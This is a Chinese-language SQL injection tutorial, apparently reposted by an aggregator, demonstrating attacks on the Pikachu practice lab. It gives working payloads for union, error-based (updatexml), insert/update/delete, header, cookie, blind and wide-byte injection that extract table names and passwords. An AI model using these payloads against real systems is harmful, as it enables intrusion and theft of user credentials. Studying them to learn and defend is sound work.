sql注入二
Posted 网络安全先锋官
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入二相关的知识,希望对你有一定的参考价值。
1.1注入攻击类型与方式
主要有:union注入、insert/update注入、delete注入、http header注入、盲注(base on boolian)、盲注(base on time)、函数报错、宽字节注入、二次注入、偏移注入等
1.6.1 union注入
union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果。下面以pikachu平台的数据库为例,输入select id,email from member where username='kevin' union select username,pw from member where id=1;查询结果如下:
注:union操作符一般与order by语句配合使用
mysql> select id,email from member where username='kevin' union select username,
pw from member where id=1;
+-------+----------------------------------+
| id | email |
+-------+----------------------------------+
| 5 | kevin@pikachu.com |
| vince | e10adc3949ba59abbe56e057f20f883e |
+-------+----------------------------------+
2 rows in set (0.00 sec)
返回pikachu平台,输入以上语句,出现如下报错:
v' union select username,pw from member where id=1#%
因为查询的字段不能超过主查询的字段,这个时候可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段。
输入a' order by 4#%,反馈如图:
输入a' order by 3#%
,反馈如图:
通过这个简单的办法找到主查询一共有三个字段。之后我们来使用union来做一个SQL语句的拼接。输入构造好的语句a
' union select database(),user(),version()#%
,反馈如图:
1.6.2 information_schema注入
information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。先找出数据库的名称,输入vince' union select database(),user(),
3
#%
得到反馈,判断数据库名称为pikachu。
获取pikachu数据库的表名,输入:u
'
union select table_schema ,table_name,
3
from information_schema.tables where table_schema='pikachu'#
获取pikachu数据库的字段名,输入:k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
最后获取字段值的内容,输入:kobe'union select username ,password,
3
from users#%
1.6.3 基于函数报错注入
一、技巧思路:
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息.
二、背景条件:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.
三、基于报错的信息获取(三个常用的用来报错的函数)
updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数.
floor():MYSQL中用来取整的函数.
四、基于报错的信息获取
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
五、实战测试
1、爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
2、爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
3、爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
4、爆表
获取数据库表名,输入:k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#,但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
输入k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#更改limit后面的数字limit 0完成表名遍历。
5、爆字段
获取字段名,输入:k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#
6、爆字段内容
获取字段内容,输入:k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
1.6.4 insert注入
insert注入,就是前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。
到数据库中输入insert into member (username,pw,sex,phonenum,email,address)
values('
oldboy
',
123456
,1,2,3,4);
来插入一个用户,在输入select * from member;
查看所有用户
进入网站注册页面,填写网站注册相关信息,通过Burp抓包在用户名输入相关payload,格式如下:
oldboy
'or updatexml(1,concat(0x7e,(命令)),0) or'
1. 爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
2. 爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
3. 爆内容
'
or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or'
等同
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
1.6.5 update注入
与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用于用户注册端。
一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过Burp抓包在用户名输入相关payload,格式如下:
update注入:
' or updatexml(0,concat(0x7e,(database())),0) or'
1.6.6 dalete注入
一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法如下:
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)
1.6.7 Http Header注入
先在pikachu平台打开Http Header注入模块,点击提示查看登录帐号和密码,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到Repeater模块中,去除User-Agent:,然后输入' 然后运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。这时候可以设置payload。在User-Agent输入payload Mozilla' or updatexml(1,concat(0x7e,database ()),0) or '
1.6.8 Cookie注入
Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。在 ant[uname]=admin后添加一个’观察反馈的MYSQL的语法报错,发现了存在SQL注入漏洞,在设置Payload 'and updatexml (1,concat(0x7e,database()),0)#,观察报错和之前是否相同。
1.6.9 Boolian(布尔型)盲注
在我们的注入语句被带入数据库查询但却什么都没有返回的情况我们该怎么办?例如应用程序就会返回一个“通用的”的页面,或者重定向一个通用页面(可能为网站首页)。这时,我们之前学习的SQL注入办法就无法使用了。
盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。
SQL盲注分为三大类:基于布尔型SQL盲注、基于时间型SQL盲注、基于报错型SQL盲注
采用sql语句中and的方法,返回正确或错误来构造,按照之前的思路构造一个SQL拼接:vince' and extractvalue(0,concat(0x7e,version()))#
输入后根据返回的信息判断之前的思路不再适用。
输入语句select ascii(substr(database(),1,1))>xx;
通过对比ascii码的长度,判断出数据库表名的第一个字符。
注:substr()函数
substr(string,start,length)
string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被返回字符串的长度。
那么通过这个方法,虽然只能通过判断单个字符,我们同样可以使用length来判断表名的长度,判断出长度后就能多次输入payload来爆破出每一个表名的字符。输入语句:select length(database())<xx;< code="">判断表名长度为7。</xx;<>
回到pikachu平台按照之前的逻辑,我们构造语句,如果返回1,那么就会爆出选择的信息,返回0,就会返回 您输入的username不存在!。按照之前逻辑,输入sql语句:vince' and ascii(substr(database(),1,1))=112#,通过这个方法,就能得到后台数据库的名称的第一个字符的ascii码。同之前的办法,我们也可以获得information_schema.tables里的数据。但在实际操作中通常不会使用手动盲注的办法,可以使用sqlmap等工具来增加盲注的效率。
1.6.10 base on time(时间型)盲注
到base on time盲注下,输入上个演示中设置好的payload vince' and ascii(substr(database(),1,1))=112#,返回的信息发现不存在注入点。那这样就不能进行注入了?但其实可以通过后端的执行时间来进行注入。这里会用到的payload: vince' and sleep(x)#
基于时间的延迟,构造一个拼接语句:vince' and if(substr(database(),1,1)='X' (猜测点)',sleep(10),null#,输入后,如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误。输入:vince' and if(substr(database(),1,1)='p',sleep(10),null)#,再web控制台下,判断出database的表名的一个字符为p。通过这个办法我们就能逐步向下获取数据。
1.6.11 宽字节注入
当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),\(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多漏洞查找者或者工具遇到这些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。
其中\的URL编码是 %5C ,当我们在单引号前面加上%df的时候,最终就会变成 運',如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df 是一个宽字符,也就是運,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。
' =======>\'单引号转义后占两个字节,所以我们需要通过繁体字%df构造两个字节,最终用運干掉了\,也就是说被運占领了\ 所以最后在页面也不会显示出来.
小提示: 数字和字母占一个字节,汉字占两个字节。
注意:宽字节空格、#如果被URL编码了,可能造成不能成功。
哪些地方没有魔术引号的保护?
(1) $_SERVER 变量
PHP5的$_SERVER变量缺少magic_quotes_gqc的保护,导致近年来X-Forwarded-For的漏洞猛爆,所以很多程序员考虑过滤X-Forwarded-For,但是其它的变量呢?
(2)getenv()得到的变量(使用类似$_SERVER 变量)
(3)$HTTP_RAW_POST_DATA与PHP输入、输出流
以上是关于sql注入二的主要内容,如果未能解决你的问题,请参考以下文章